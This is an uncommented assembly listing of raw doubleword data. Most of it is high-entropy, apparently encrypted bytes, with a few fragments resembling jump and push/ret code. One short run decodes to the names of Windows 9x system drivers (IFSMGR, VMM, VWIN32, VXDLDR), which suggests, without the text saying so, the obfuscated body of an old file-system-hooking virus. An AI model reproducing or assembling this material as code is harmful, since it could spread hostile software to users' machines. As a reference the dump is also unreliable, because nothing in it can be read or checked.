		dd 0B2103E90h, 7078118Ch, 17A7F314h, 0AAAF9837h, 27135EC7h
		dd 176605CFh, 0A8AAAB6h, 0E98E2B97h, 16DE72C1h,	0FFDC72C4h
		dd 72C38BDBh, 0A58BC913h, 0C283915h, 0E312B1D5h, 1078EF91h
		dd 2288706h, 72D5D7AFh,	7D005537h, 9398BF1Ch, 0A85875E1h
		dd 4A706E76h, 517655F7h, 0C5315BE3h, 10CF195Ch,	1AB9CD14h
		dd 62F414EBh, 0AF0C910Ah, 0A13FA790h, 92A881C1h, 636D0C3Eh
		dd 4E6CE071h, 5473D96Ch, 8BB3816Bh, 3CD7BFDh, 65214864h
		dd 39FA1746h, 0C243044Fh, 0C6279E8Fh, 0D9F4B36Dh, 11E2h
		dd 0F7D77FCBh, 0EDCD81D1h, 0F1D179CBh, 0F2D080CFh, 0F3D381D0h
		dd 0AFFE6FC0h, 952305A5h, 0A83B1DBDh, 8D2002A0h, 0D521FBFh
		dd 0B40F7ED8h, 70D24716h, 2130DDC2h, 599871D8h,	0E89DF08Fh
		dd 6EC1109Dh, 0A5BCFCDAh, 0E493C2E1h, 51168C33h, 62BC310Eh
		dd 2B0A879Dh, 9D1F7BEAh, 0A5E80A87h, 71C3E7C4h,	475FF9D9h
		dd 0A3C1DE89h, 18531h, 0E0C20500h, 0C7F3FD4Bh, 0DFC3E09Eh
		dd 0D1300151h, 93C24D07h, 109DB532h, 1F7BEA29h,	0E8109DB5h
		dd 0C3E7C4A5h, 0A8BDA72h, 68C218C2h, 77580B75h,	9DB48C06h
		dd 0DD6D5510h, 42B31071h, 109DB4C8h, 1AC40C91h,	8675DDC2h
		dd 5C430D9Eh, 22AAD31Ch, 9EB8C816h, 0BDA3A781h,	64FE6BC7h
		dd 41DE9947h, 0EC547BA6h, 0A7D32489h, 37B2E9F3h, 88000000h
		dd 69C5BBA3h, 0B53293C2h, 8203109Dh, 50E0C2A8h,	3F5EEE3Fh
		dd 0A887A8B5h, 9DB4D935h, 5963A210h, 0DF6BBDFFh, 4DDC283h
		dd 1B60CC9h, 0A87A9C24h, 53C4h,	0BBA36A00h, 0DE062AFFh
		dd 7F1E66C4h, 0CF47760h, 0BDBD5318h, 9E87CE48h,	17769710h
		dd 0DDC213CDh, 0AD20ACF8h, 578625CEh, 109DC6FBh, 5A7741C4h
		dd 9DC6AA2Bh, 372A110h,	109DC687h, 0E84128B8h, 6CFBF6D3h
		dd 0C2EE4829h, 51E0C268h, 4597B903h, 0E37D2905h, 41DE9947h
		dd 4641A6h, 0B0920000h,	2DA7311Fh, 6BC7BDA3h, 0F5BAE5C2h
		dd 60BA2BC9h, 29109E7Ch, 1844BFE4h, 56B7569Eh, 27109E7Ah
		dd 0E0C24CE6h, 0E6F3FD4Bh, 4DE0C24Ch, 0B552CC41h, 0FA1B109Dh
		dd 814BCA9Bh, 0F34FFF4Fh, 1BC4E37Dh, 6A000000h,	6BC7BDA3h
		dd 351E0C2h, 0E8699CB9h, 0DF109DB4h, 68C2E47Eh,	45E16DBDh
		dd 0E5C2E37Dh, 9DB51670h, 0C41E4F10h, 8D109DB4h, 0F8DA3B08h
		dd 3859E866h, 0FE79A5B0h, 0A486FFFFh, 0EF2E3F15h, 0E0C27BE5h
		dd 7CB8004Eh, 53822165h, 168BF941h, 92B81776h, 90AD0D3Fh
		dd 89DE87A7h, 0DD7CBF3h, 0EFCCB6B1h, 35ABE7D0h,	6B9B5F6Dh
		dd 86F9A0FAh, 8724690Ah, 86F9FC56h, 7840C50Ah, 0F9B02A5Bh
		dd 14790A86h, 93240645h, 7CD433BDh, 0C70A86FAh,	0CC46B798h
		dd 950A86F9h, 50FA4E70h, 0DA8DFE88h, 346CDCF5h,	0DD7B0F7h
		dd 0A84A8755h, 2B2F5Ah,	70130000h, 109DB512h, 7151FB4Eh
		dd 9DB48302h, 7BCA510h,	49C899B9h, 435A8B28h, 84168EA3h
		dd 9E84A101h, 5D78400Ah, 0B2h, 0C8BEA301h, 0AB037AEBh
		dd 8104168Eh, 0A3EFFD22h, 3143DB15h, 9B00A4CAh,	0F4FC41CAh
		dd 0D870C3E7h, 0C787D7FBh, 8FCD1776h, 233216A9h, 0DAADC05h
		dd 7888B0D8h, 33A28510h, 473F7D7h, 0C495BD0Bh, 3397F645h
		dd 0C623ADA5h, 16476847h, 473F7BCh, 9BB80085h, 0FF5E24B7h
		dd 0E151157Bh, 0ECCEEC8Dh, 4460F157h, 1B4A691Dh, 0A623E6Fh
		dd 3416B5D8h
		dd 250BABA1h, 8EC5B894h, 0CF73D898h, 0ED43D18h,	8DD90000h
		dd 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh
		dd 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h
		dd 3516B412h, 0E5C282DCh, 9DB51670h, 6DFBDF10h,	543554E5h
		dd 55F74A8Ch, 0DD6FC204h, 0FE87DCFEh, 7091A0AAh, 7218C711h
		dd 1EAF63D8h, 6434902Eh, 0CCA341E6h, 68h, 0C8BEA372h, 57E6CCEBh
		dd 99A8AA3Ah, 30CF1978h, 168EA63Dh, 0C8C11436h,	786D775h
		dd 0D7B6D766h, 98F14486h, 0D7360745h, 183718B6h, 8AA369E5h
		dd 9D3320Ah, 0F9D676C7h, 0BA0D84D1h, 3F5EEF8Eh,	311936B5h
		dd 783F2A4h, 0D00A8AA3h, 0FC1D2C4Dh, 0E5A1C8F4h, 72C1E9C6h
		dd 0C60E8FDEh, 7B98AE47h, 1AABAF10h, 0D5735332h, 0C1E16DBDh
		dd 0E0FF4FDFh, 0C9E668FAh, 9DB53A94h, 3A820310h, 0B5055AABh
		dd 9A2D109Dh, 0B2F10AEh, 0CC84D3BEh, 737D1C7Dh,	47642247h
		dd 8BFF7816h, 0E7163916h, 0A87696Bh, 5A07D134h,	22B69C3Bh
		dd 8BAC8B28h, 8769005Ah, 1544C90Ah, 0A8768B9h, 9BB90382h
		dd 0DE89473Dh, 8331A3C1h, 5000001h, 6AC4BAA3h, 93C2E5C2h
		dd 109DB537h, 0B4539D00h, 109DB555h, 0C271CD4Ch, 0E16DBDE5h
		dd 0DAE26EBDh, 0DB0B7580h, 69C5BBA3h, 0BDA3A781h, 6FC2E8C7h
		dd 0C24913DDh, 0B3C50E0h, 0CC15F521h, 708D0B1h,	4DE0C25Bh
		dd 0BF6DF5FFh, 27A641DEh, 64h, 0A6DDC23Bh, 6DE1713Fh, 2216BDDCh
		dd 1824ACB2h, 581F4CEh,	0CE109E14h, 0C2142E4Fh,	9DB53293h
		dd 0FF4F7310h, 559FFE4Fh, 0C2D97598h, 0DDC268h,	0D44A0865h
		dd 0B2064890h, 0E0C2BE98h, 2F6EFF4Dh, 4011398Bh, 4895F7C1h
		dd 5C7ED062h, 97F6470Dh, 0E0C2934Dh, 97D8FF4Dh,	9AB97961h
		dd 5A88D31Dh, 26000000h, 5530DDC2h, 389B92D8h, 635A84B0h
		dd 431F7ED6h, 0B53293C2h, 0EA29109Dh, 9DB51F7Bh, 0D2A95010h
		dd 50957E5Bh, 871D8203h, 0E1B68DBDh, 0C2E94524h, 196BBD68h
		dd 6FF80E18h, 1C3657B3h, 388FDDC2h, 0B8735875h,	9DCDC945h
		dd 12739210h, 381748CAh, 9DCE49C5h, 0E9F31210h,	0DE99476Fh
		dd 3241A641h, 15000000h, 6BC7BDA3h, 0B53293C2h,	8203109Dh
		dd 0A4B0FD25h, 0E0C2C21Ch, 0D031004Eh, 0BD6FCB08h, 0C245E16Dh
		dd 0AC3C4DE0h, 177697A6h, 0C4954BCDh, 34h, 0C7BDA36Ah
		dd 0BDE5C26Bh, 0E8FDE6Ah, 0B4C647C6h, 5CBD109Dh, 0C268C202h
		dd 0F3FD4BE0h, 61FD51E1h, 1670E5C2h, 0DF109DB5h, 72EC21BEh
		dd 3B109DB5h, 0E28012DAh, 0FFFE74C4h, 0BEA36AFFh, 6A7AEBC8h
		dd 9F168BF9h, 617E617Eh, 8768B22Ch, 295C7B0Ah, 0A8768ADh
		dd 6E761776h, 2CADD96Ch, 8477D4D9h, 0B6993657h,	86BCCB47h
		dd 0DEAB940Ah, 0D3652A74h, 82D01879h, 98517AA5h, 0E98F32BFh
		dd 2667F65Ah, 26417D47h, 7A607F5Ch, 2C5B65E7h, 0A86F2B2h
		dd 0BA4B1A7Bh, 0A86F362h, 0C4E861ADh, 5AA8D8F4h, 3C5Ch
		dd 12700200h, 4E109DB5h, 0E86293FBh, 0B1109DB4h, 77F1476Ch
		dd 0E1630113h, 22052280h, 9E5F57B3h, 0F3FD2010h, 11BE8h
		dd 4CDFC300h, 8D298736h, 0D5B4B426h, 61F34284h,	8D0B1D0h
		dd 0C8BEA34Eh, 0ABFF7AEBh, 5278168Eh, 0F398E03h, 36BEDF6Eh
		dd 537754B9h, 0D89C8604h, 6AE57480h, 0B394C10Bh, 0D9E62F8Ch
		dd 88D77134h, 791879C8h, 90AF2B5Ah, 15780A8Ah, 123689CBh
		dd 1EAF93B4h, 1FB4A62Eh, 0C51C1829h, 70C0E2C1h,	0AA3253E2h
		dd 0D51438ADh, 0FEE11078h, 7445138Fh, 63F6DC04h, 0A34088E9h
		dd 0CA5D4562h, 0E57A607Eh, 0CB5E4463h, 8751B081h, 0D6D4FBD8h
		dd 0AEA231CCh, 48778209h, 962D3480h, 0C31F4E46h, 8C047449h
		dd 0B8D96809h, 0FADDFAD9h, 744A0F8Bh, 2BB5D804h, 629432DCh
		dd 5B49B0Ah, 87FDFFF8h,	0ABEF330Fh, 5E7B8004h, 27BAA03Fh
		dd 99CF667h, 2065FE5Eh,	0EE3F6141h, 9F16DA0h, 98BAFE5Eh
		dd 0A6B0A48h, 0D8F82A57h, 0B5905773h, 0AAAh, 3F9FB703h
		dd 2585C919h, 3999B103h, 2A88C817h, 3B9BB908h, 77C62708h
		dd 8DDBFDDDh, 70C3E5C5h, 85D8FAD8h, 0F5DAE7C7h,	0B4160680h
		dd 0E85ACF16h, 84BAE5C2h, 9AAA9050h, 0FAD53120h, 7F9E109Dh
		dd 0B4D26375h, 159D6763h, 0E242FB12h, 9B883FCEh, 8DCA9BFAh
		dd 2B3A16A5h, 5DF0E2EAh, 0E77C5EEFh, 5CEED061h,	726063F2h
		dd 8C06ECD9h, 97F243EFh, 0D9380949h, 818A83F2h,	0C8A90035h
		dd 0C78252EAh, 3C2AA341h, 8D000000h, 29ADEBA2h,	32BA5814h
		dd 0C8BEA3A8h, 0A4EB7AEBh, 0F91C168Eh, 79D36668h, 66E67759h
		dd 0F690D9D7h, 0A4D9F6D9h, 0A8AA42Ah, 0BB4A92F3h, 107B9B3Eh
		dd 0C7E8C647h, 6AFB53E3h, 0BD37A12Bh, 92C1E16Dh, 109DB53Fh
		dd 4BBAD063h, 109DB4CFh, 0B6147598h, 0B8176F7Ah, 8BFF8E45h
		dd 6D4ACB16h, 7757F345h, 0DE8947D9h, 1131A3C1h,	5000001h
		dd 6AC4BAA3h, 0B53293C2h, 0A829109Dh, 7568C28Eh, 0BBA3DB0Bh
		dd 0A78169C5h, 6BC7BDA3h, 994764FEh, 41A641DEh,	39h, 0D1DDC215h
		dd 9AC2379Ah, 381AAA0Ch, 265A84B0h, 3293C20Ch, 3109DB5h
		dd 0AEFD2582h, 1FAF93A2h, 9EFF1E2Fh, 68C28C56h,	83DF6BBDh
		dd 0E87A607Dh, 0C4045E66h, 49h,	0C5BBA36Ah, 3293C269h
		dd 29109DB5h, 0B92C0BA8h, 109DB55Dh, 83DDE726h,	0C47DDC2h
		dd 0C72F1BCDh, 0D8FFE0FDh, 831D9FFBh, 0DB854FB9h, 0DF6BBDh
		dd 0A1465FD7h, 3D87F453h, 50E0C2A3h, 758BA02h, 0C0DE5020h
		dd 656F1E57h, 0DE9947FBh, 2F41A641h, 15000000h,	351E0C2h
		dd 21637DB9h, 3293C205h, 3109DB5h, 68C2A882h, 45E16DBDh
		dd 0B110DDC2h, 537DB0F8h, 9AFB4A02h, 19FF1FBh, 24C4h, 0BDA36A00h
		dd 93C26BC7h, 109DB532h, 0C28EA829h, 94C16CDDh,	5098E23Ah
		dd 0AAFE2403h, 0BDBE18A0h, 7D45E16Dh, 4BE0C2E3h, 0E6E8F3FDh
		dd 46FFFFFEh, 0EBC8BEA3h, 8BF96A7Ah, 617E9F16h,	3F63E779h
		dd 48955FEFh, 5D7DCF62h, 5F7C0661h, 0D564EC7Bh,	0BE2F2CB4h
		dd 0A876964h, 0B894252Dh, 380968A9h, 87694FC9h,	0DB709A0Ah
		dd 0A852E3B1h, 154B5Ah,	0C2EF0000h, 0F6FE4CE0h,	9DB53797h
		dd 6AE27310h, 0F76D4Ch,	0A3D10000h, 7AEBC8BEh, 168EB277h
		dd 0C385DA00h, 8A296CF9h, 0AFDE38ADh, 66A70A8Ah, 659815Eh
		dd 13426542h, 0A8AAFB7h, 3A29DAE8h, 122129ADh, 0CAEBE9F3h
		dd 0D8FA58E8h, 1677C684h, 11378CCEh, 0E66095B2h, 0AF0A8A5Bh
		dd 0A907666Eh, 74E9C6C0h, 1078A054h, 684764A9h,	0EF98F042h
		dd 4BDF1195h, 84A92F3h,	2CA6D7B3h, 0F504748Ah, 0F4D1F190h
		dd 0EFD37DCEh, 3C5DEC5Ch, 750DA2B4h, 3882F98Ah,	0A4389AF2h
		dd 3A76C7A6h, 578572Fh,	0A622D39h, 634463A2h, 719CA73Ch
		dd 3A82CE4Ch, 94C9C518h, 0FE5D883Ah, 3591C403h,	0FEFE5D88h
		dd 3F9FFE9Fh, 0A4AA3C1Eh, 0E2A73A1Ch, 2D6CFD4Fh, 75EE194Ch
		dd 600773D8h, 78965h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h
		dd 0E769FAE0h, 54E1C7h,	4FBC73A2h, 4E745202h, 547654FEh
		dd 476949FFh, 6B7856F6h, 1895F164h, 4B5E16B4h, 0E06CBD17h
		dd 70DC6D51h, 1AAF19E1h, 5877D568h, 3257DD6Fh, 6809AEA0h
		dd 78666EA5h, 6DE57357h, 0AB33BDDCh, 0A34141EDh, 2755h
		dd 0BEA3E900h, 78C7EBC8h, 0C00889D8h, 0A1E76293h, 6DB0168Eh
		dd 0A02DADDCh, 0A840A8Ah, 18D4B71h, 5F355AADh, 9000000h
		dd 351E0C2h, 0AD09D332h, 0CDF5D2B4h, 283D27Eh, 0B1689DBAh
		dd 0F2168EB3h, 2D80C293h, 2342085Ch
		dd 0D832A384h, 0A10A8AACh, 4466747Ch, 0AE0A5BF1h, 66E015B3h
		dd 9F0A8AADh, 8AACF46Eh, 0B58BD0Ah, 99CCEB8Ah, 107BAA94h
		dd 6C4B68ADh, 0A7C01A4Bh, 4890477h, 77A7F955h, 7943C204h
		dd 25B9FD5Bh, 0C2E1A5BCh, 8EA61293h, 1E22316h, 0C6E3F9DEh
		dd 0FB4BE721h, 75C484D7h, 823DCC14h, 58CAD893h,	27567511h
		dd 5004F012h, 4909577Bh, 30AADBF8h, 0F94400EDh,	7EEBF594h
		dd 0F7F24E1Fh, 2203E2C9h, 1A7BAA57h, 407548BDh,	0AFEE49F2h
		dd 0B5972A10h, 0AAA23315h, 691A9EB7h, 0C904A3B3h, 646h
		dd 5B7BDB67h, 4969E575h, 5575D567h, 4E6CE473h, 5777DD6Ch
		dd 13A2CB64h, 0F13F6141h, 0CC5F4161h, 0E97C5E7Ch, 59764363h
		dd 0B419AA24h, 441E7316h, 0FF4DE0C2h, 0FA52E3F5h, 75D5676Bh
		dd 6FE57456h, 71567765h, 798CB47Ch, 0CBA0A39Bh,	8CB25D42h
		dd 459C9820h, 0D1F36241h, 26168BFCh, 4FE2C8E7h,	5274F3FDh
		dd 0C2194CFEh, 0F3800259h, 5D41934h, 8DD90000h,	77C7E9C9h
		dd 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh, 2787CD1Ch
		dd 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h, 3516B41Bh
		dd 0E5C282DCh, 9DB51670h, 6AFBDF10h, 8D1F83E2h,	636DACBDh
		dd 1EB11257h, 0F96C4B2Ah, 168BF8D3h, 7A5CED30h,	0B4F164E6h
		dd 0D1800255h, 5743F1Ah, 0AD390000h, 972709A9h,	9F3117B7h
		dd 96250BABh, 0A7361CBAh, 111E0DADh, 0C7E76DFCh, 0DFFF53E1h
		dd 0C4E266F9h, 0A1014BDEh, 0CC46B798h, 9516B41Ah, 0BEA3E27Ch
		dd 0E6CCEBC8h, 2A6BFA54h, 0F91963A2h, 1F7E168Bh, 92B80C4Eh
		dd 257B4DFh, 332EBD80h,	522h, 0B7173F8Bh, 0AD0D4191h, 0B111398Bh
		dd 0B210408Fh, 0B3134190h, 0EF3EAF80h, 0D5634565h, 0E87B5D7Dh
		dd 0CD604260h, 4D925F7Fh, 0B41ABE18h, 30128716h, 8E1D6CBDh
		dd 0B092A3C2h, 0CD1E2F1Dh, 2403B445h, 9DB555B1h, 0E0FF1E10h
		dd 9DB531ADh, 519BFA10h, 419EAEFFh, 3983C719h, 0A8A4351Bh
		dd 0B4E96899h, 9625109Dh, 17A7ABBAh, 3DB52637h,	309AD9CCh
		dd 3356E79Bh, 7D9CADA5h, 4C9BBF1Ch, 0C19EBC04h,	35044899h
		dd 0EE60F2D4h, 0EB61F4E6h, 67E5785Ah, 64224747h, 0A2DB1647h
		dd 2164168Eh, 9F61E110h, 0C9D0A8Ah, 9EF75382h, 5DC00A8Ah
		dd 98292D3Ch, 0FD6FA5B4h, 350998Ch, 18CCF01Ch, 22B37750h
		dd 9BFA1B2Ah, 1A42B751h, 5AAD735Ah, 0A7371B3Ch,	67796A7h
		dd 0A8A518Ch, 71A83055h, 4Fh, 4CE0C2C5h, 0B551CD40h, 0FB1A109Dh
		dd 824ACB9Ah, 7C5B2B36h, 8E980809h, 0A5B4D916h,	0FA5489A6h
		dd 0C30A8A87h, 8B0B7A42h, 0E20A8A87h, 3E6413A8h, 0CD955FE9h
		dd 5AAD390Fh, 134C6F1h,	787390D8h, 89DD8905h, 5233520Ah
		dd 0B1138Ah, 0BD270000h, 57B3226Ch, 20109DB5h, 8ECD9CFDh
		dd 24351BACh, 6CF9DBE5h, 79ECCBE8h, 109DB51Dh, 0CE1DA7E6h
		dd 4213398Ch, 3F9FAD00h, 9DB18FCCh, 0D6664C10h,	24ACED7Ch
		dd 0DAD9F32h, 0A3B29A2Bh, 8D2A5C85h, 8E820D58h,	7757B616h
		dd 77543237h, 80480053h, 0E8882253h, 0C911074h,	163E8BAFh
		dd 114392B8h, 0EFC3FD5Ch, 5E7B3279h, 386h, 1BBB9B27h, 9A9A535h
		dd 15B59527h, 0EACA433h, 17B79D2Ch, 53E20B24h, 317FA101h
		dd 0C9F8121h, 29BC9E3Ch, 99B68323h, 0B41CEA64h,	45EB316h
		dd 912170BDh, 1AAAACBDh, 89E82938h, 55E8CAE8h, 0C279D7F7h
		dd 0B51670E5h, 0BEDF109Dh, 0A7DF0A36h, 98F4D508h, 0D35168Eh
		dd 9D4A92BEh, 0E7775B78h, 2DB7D667h, 88CF4FBEh,	0BB0B0A8Ah
		dd 2D80C293h, 850D4E1Fh, 4EB801F4h, 3EC18FBDh, 0C1695AADh
		dd 0CD000000h, 51E06CBDh, 0E574E06Dh, 9DB17794h, 0AE9E2F10h
		dd 0B5972A10h, 3483A7A4h, 8168D41Ch, 0EA37A605h, 93168E81h
		dd 54735472h, 8A7FA521h, 0A04D60Ah, 705B6A08h, 1E1AA2E3h
		dd 71E4C3C3h, 10748794h, 8F0B7A5Dh, 58047483h, 0DE6FE172h
		dd 20BFDEBFh, 0AA9AB3Ah, 0A9B89628h, 2D3C18A5h,	15438DECh
		dd 7DF0A633h, 4748421h,	97CAABEAh, 79EF7230h, 8BBF9A51h
		dd 22000002h, 0BEE4C294h, 0DEC4E26Ch, 80A2004Ah, 9F81212Fh
		dd 31644212h, 14408DFEh, 0E4494B6h, 13358AB0h, 103C8DB3h
		dd 37A6A9B2h, 16B41DDBh, 0C2D16DA4h, 320351E0h,	7AC709D3h
		dd 0F4DBFCDAh, 0A5A6146Eh, 0A5A731DAh, 409A3814h, 1670E5C2h
		dd 0DF109DB5h, 912436BEh, 45331CBBh, 0C278BFB4h, 4B89C18Ch
		dd 761794C7h, 8ADBFF6Eh, 0E4C3E4C2h, 9E6D1571h,	35BFDE10h
		dd 55E3E009h, 4C2D6CFDh, 0F19486Fh, 0E582F5FBh,	128FFEDBh
		dd 0DB168F3Ch, 0FC5AABBAh, 530A8B39h, 0AD9542B7h, 0E120311Dh
		dd 63B17FD7h, 40195AACh, 0BA000000h, 41EE689Dh,	56B70A8Bh
		dd 0BEA3D48Eh, 637AEBC8h, 0A4168EA3h, 0CFF3D061h, 7908D080h
		dd 0A8A9F19h, 77A51670h, 5AAD00B9h, 4121h, 708DB200h, 0F16DA07Bh
		dd 0BA0A8A19h, 1699745Bh, 0C225AF39h, 6CFD4BE0h, 0E564A32Dh
		dd 7109DB4h, 0C0F1DEE2h, 83445B27h, 36DAC5E2h, 0E5A6E2B1h
		dd 1B358628h, 0F85184D1h, 0B9168F6Dh, 71104491h, 0BEA3F751h
		dd 577AEBC8h, 0B0168EA4h, 2DADDC6Dh, 840A8A9Eh,	89057857h
		dd 520A8A9Dh, 0EA5FA933h, 0AD0FF2C2h, 1FAE945Ah, 0DBE52435h
		dd 13C4h, 12709A00h, 34109DB5h,	0B7A592Dh, 168EB292h, 36943253h
		dd 0EBC8BEA3h, 8BF94A7Ah, 815EBF16h, 66440859h,	0A5BF144h
		dd 0FA56E5CDh, 7ACB89D8h, 7C65D11Bh, 8338AD0Ah,	1075B3h
		dd 16193E9Dh, 138FFE10h, 0DC0471B2h, 44EF12B9h,	1735CCF3h
		dd 0D1C7F9DFh, 55E8CA07h, 0CDACA234h, 0D27ACBEDh, 4A3C2583h
		dd 0DDDDF86Dh, 24260A61h, 6EAFBE94h, 0CAF75A0Fh, 650473D8h
		dd 0C968h, 56E400h, 202E80A2h, 3E0CA082h, 2729BAA0h, 4014A187h
		dd 8FFC3362h, 8EB41242h, 94B6143Eh, 87A9093Fh, 0ABB81636h
		dd 1FD531A4h, 8B9E16B4h, 0C8BEA3D7h, 0EEE3CCEBh, 0D4C72A7Ch
		dd 0F4450358h, 9DECF495h, 168CF7E2h, 38172667h,	0BC8DBF12h
		dd 930F7E5Dh, 5C0A8861h, 0C9DAF39h, 0ED406240h,	0CA7F0E5Fh
		dd 3F4546ADh, 0A9AB3A20h, 0D04ABB98h, 99AEC6ACh, 41CB1574h
		dd 1A401FC8h, 78D283C5h, 41AEC6ADh, 6FC214DCh, 0FAE0FDDDh
		dd 0FCDEE668h, 7052E369h, 0ECE071DFh, 0F45CEBCFh, 7E29A2ECh
		dd 7E460C5Ch, 6343095Ch, 0B9DEC3Dh, 8EEF2E3Fh, 9BB7A0BFh
		dd 0F6508576h, 0BFAEC60Eh, 0CFF5795Eh, 3C40FD9h, 6A000000h
		dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
		dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh,	56221524h
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	89572414h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 81E78957h, 4C7h
		dd 4EF8300h, 5C243C87h,	57243C89h, 164DE4BFh, 8BFA8906h
		dd 0C483243Ch, 7D7D6804h, 24890000h, 24048124h,	4, 8956555Fh
		dd 5EF589D6h, 5D086F89h, 53243C8Bh, 0C381E389h,	4, 4C381h
		dd 1C870000h, 34FF5C24h, 0C4815A24h, 4,	0FD14C3E9h, 4B0E06FFh
		dd 0CC5743E5h, 6C15B880h, 0C5030616h, 0DECFE0FFh, 6C2A4FE8h
		dd 0D0A73E0Bh, 0C20C4BDBh, 0E23F17BEh, 0E0766F2Ch, 0F12A2704h
		dd 3F48248Ah, 998827B2h, 0FF2E62E6h, 0E3E04924h, 8F561AA2h
		dd 0D2A90DACh, 25B10FEBh, 0B11D5A18h, 84F44AB8h, 0F26704D1h
		dd 505E7C40h, 0E87B79A3h, 915B5358h, 204A5C59h,	38EF084Fh
		dd 6A015ACh
		dd 809912CDh, 89ED7D0Eh, 7E81720h, 2B000000h, 23E0C1ACh
		dd 0B70FAC57h, 66605ADAh, 8B66D68Bh, 0C28161CAh, 5CE2h
		dd 6890Fh, 0E3810000h, 1517290Ch, 0EE81FF2Bh, 144DB994h
		dd 0E91734FFh, 0Ah, 0ECD01A98h,	0B3DC9A5Fh, 0E859084Bh
		dd 6, 1B01C310h, 815B1403h, 5AED51F1h, 28E98108h, 660D1EA4h
		dd 81ADA6B8h, 0CDDB6AF1h, 7E907h, 0F7090000h, 26269204h
		dd 3A0C89F2h, 0CED08166h, 0EE890h, 0B6C20000h, 0FE5EA07Eh
		dd 0A62ED66Eh, 852B41B8h, 800Fh, 83580000h, 0C88104EFh
		dd 1A47D8FDh, 0A3DCFF81h, 850FFFFFh, 0Eh, 16E9BFB3h, 0A7000000h
		dd 0E12F17C4h, 0E9F83476h, 0FFFFFF74h, 0AE6159F7h, 0AAEF74EEh
		dd 14E816h, 0C8500000h,	0B1DB59E1h, 0BBF3C53Fh,	36679CE7h
		dd 7A14697Ah, 6E822BFh,	32000000h, 0C5692D66h, 65BB667Dh
		dd 0F59582Fh, 884h, 2840F00h, 8B000000h, 2DC181F9h, 0F000075h
		dd 1C68C3B7h, 0F00001Dh, 187h, 665EF500h, 8B9DE5BBh, 0EA81F911h
		dd 66D1A659h, 3CCADF81h, 0EA817030h, 6598A206h,	8F16CB81h
		dd 0C281703Eh, 2208AC27h, 8830Fh, 0F600000h, 8Bh, 66526100h
		dd 18BDE881h, 8166018Fh, 832499E0h, 0C28B04E9h,	0F01EE83h
		dd 1B85h, 0FFBF0F00h, 22E9h, 0D3C47300h, 0E9823B5Fh, 0BC149BDEh
		dd 0AF3D4616h, 815A0A04h, 0FFFF96E9h, 0EEA232FFh, 26870840h
		dd 0E8B68941h, 14h, 31BF9F88h, 279F806Ah, 8BF6C07Ah, 188A0DD5h
		dd 46FC4B57h, 0FE9h, 98ECBB00h,	27A5FF4Bh, 0CCCC6300h
		dd 507EE667h, 8191B05Ah, 5D5BC2h, 0BFF500h, 81000000h
		dd 0ECD718F1h, 3A348B69h, 10E8h, 2B6D5900h, 19BBFD81h
		dd 0E3AC4D54h, 1327BE0Eh, 0BCF5806Ah, 26F68158h, 0E92FE702h
		dd 7, 95F5CF99h, 81B16B2Eh, 619873F6h, 0C38B6638h, 2E9CF681h
		dd 0B70F2623h, 0B70F56CEh, 3A048FC1h, 6660C78Bh, 61F44FB8h
		dd 0BC59EF81h, 81F54C26h, 26BC55C7h, 0AE84Ch, 60A80000h
		dd 0EA63B6B1h, 8E22FBB9h, 2880Fh, 61600000h, 98FF8158h
		dd 0FFFFFA3h, 2785h, 0C9816000h, 2151CFF7h, 2870Fh, 61600000h
		dd 25E961h, 0A4F00000h,	14DC55EBh, 0A82F884Fh, 8753EB7Ah
		dd 10A2B48Bh, 0FF53E9FCh, 6254FFFFh, 21B9F048h,	7656E725h
		dd 0EBFDB683h, 53464934h, 2052474Dh, 444B5620h,	20202020h
		dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h
		dd 2052444Ch, 20h, 2 dup(0)
		dd 842E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 8E0C88C3h, 0FE939E7h, 21000000h
		dd 426043E0h, 79F2CC69h, 92CE099Bh, 6A605B38h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 8EE6C356h, 0E9F93A59h, 0Bh, 0EC083FBEh, 0E48F91F7h
		dd 0C7CADC83h, 166FC785h, 6, 0C810F00h,	60000000h, 3E62ADBEh
		dd 1B25BF73h, 8B616B97h, 53006AC6h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0DB2F31EAh, 8E0F9DBFh
		dd 0Eh,	9E9h, 1716C00h,	536BE0B9h, 0B70FDD07h, 8B6660D8h
		dd 8E0FF8h, 61000000h, 0E910E8C1h, 12h,	831778EDh, 723902E1h
		dd 54F972B5h, 3B6D29EDh, 0C166A578h, 6A08C8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0FB2898C3h
		dd 60C90FE3h, 5870Fh, 81660000h, 81B850CBh, 2DD657CAh
		dd 8589611Ah, 6166FCBh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 4EC35242h, 840F9E06h,	1, 78E0FF5h, 0F000000h
		dd 18Dh, 0C166F500h, 6A08CBh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 60680EC3h, 8E8h, 5C930B00h
		dd 0FE62BA48h, 8C0F5F8Ah, 13h, 0DE8h, 0D0A6900h, 0ED04C79h
		dd 32AAB3ADh, 615F6821h, 0F40FB83h, 6E85h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 0E4A3713Eh, 8A0FF757h, 0Ch, 6860Fh, 8E0F0000h, 0
		dd 0C860Fh, 830F0000h, 6, 8F0Fh, 8DF80000h, 166F9FBDh
		dd 800F6006h, 4, 5603B866h, 6161F860h, 155E9h, 9E900h
		dd 0E6BC0000h, 0AB6F6F5h, 83519E44h, 850F0DFBh,	2Ah, 0F0CF8160h
		dd 0F65880Bh, 8D61D1B7h, 166FA7BDh, 1810F06h, 0F9000000h
		dd 121E9h, 7810F00h, 0F000000h,	189h, 0FB83F800h, 56850F01h
